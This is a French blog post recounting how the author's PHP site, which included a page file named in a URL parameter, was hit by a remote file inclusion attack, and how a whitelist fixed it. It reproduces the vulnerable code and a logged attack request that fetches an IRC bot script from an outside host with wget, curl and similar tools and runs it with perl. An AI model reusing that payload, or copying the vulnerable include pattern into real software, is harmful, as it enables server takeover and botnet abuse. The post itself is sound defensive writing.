Sécurité PHP
J’ai écrit un site pour un ami et j’ai décidé de le faire en PHP. Jusque là, rien de bien particulier. Après quelques recherche, je trouve un canevas me permettant de générer diverses pages avec le même header et le même footer. Toujours rien de particulier.
L’idée c’est d’avoir des liens de la forme index.php?p=un
ou index.php?p=deux
pour accéder à la première page ou à la deuxième. J’écris donc
if (isset($HTTP_GET_VARS['p'])) {
$page = $HTTP_GET_VARS['p'];
} else {
$page = 'home';
}
include 'header.php';
include "$page.php";
include 'footer.php';
Et ça marche bien… jusqu’à ce qu’il y ait un malveillant qui donne comme page ni un ni deux, mais plutôt un truc du style
(extrait de log)
/index.php?p=http://www.hotelalpino.com.br/ferias/vnc/cmd/cmd.txt?&cmd= cd%20/tmp; rm%20but.txt; wget%20http://eep.br/~gpereira/but.txt; fetch%20http://eep.br/~gpereira/but.txt; lwp-download%20http://eep.br/~gpereira/but.txt; curl%20-O%20http://eep.br/~gpereira/but.txt; lynx%20http://eep.br/~gpereira/but.txt; perl%20but.txt
Et là, c’est génial. Le gars fait télécharger sur ma machine (ou plutôt chez mon hébergeur) un script dans le répertoire /tmp
et l’exécute. Ce script est un bot IRC qui va gentiment se connecter à IRC et attendre les commandes de son « maitre ». Ces commandes sont du style portscan
, tcpflood
, httpflood
… ah le malveillant 😡
Voilà, j’ai envoyé mon mail de « plainte » au site responsable de l’hébergement apparent du gars. On verra bien mais je n’ai quasi aucun espoir. J’ai également été voir sur irc.udplink.net / #bots
où je vois 5,6 bots appartenant au gars.
J’ai modifié mon fichier php afin qu’il n’accepte comme paramètres uniquement les valeurs des pages qui existent (dans l’exemple un et deux).
$pages = array('home' => 'Home',
'un' => 'La première',
'deux' => 'La deuxième',
);
if (isset($_GET['p']) ) {
$page = $_GET['p'];
// Sécurité. p ne peut valoir que les pages ci-dessus, pas de script
if ( ! array_key_exists($page,$pages) ) $page= 'home' ;
} else {
$page = 'home';
}
include 'header.php';
include "$page.php";
include 'footer.php';
La question qui reste sans réponse : comment faire brûler sa machine. Et surtout comment savoir qu’elle a brulé.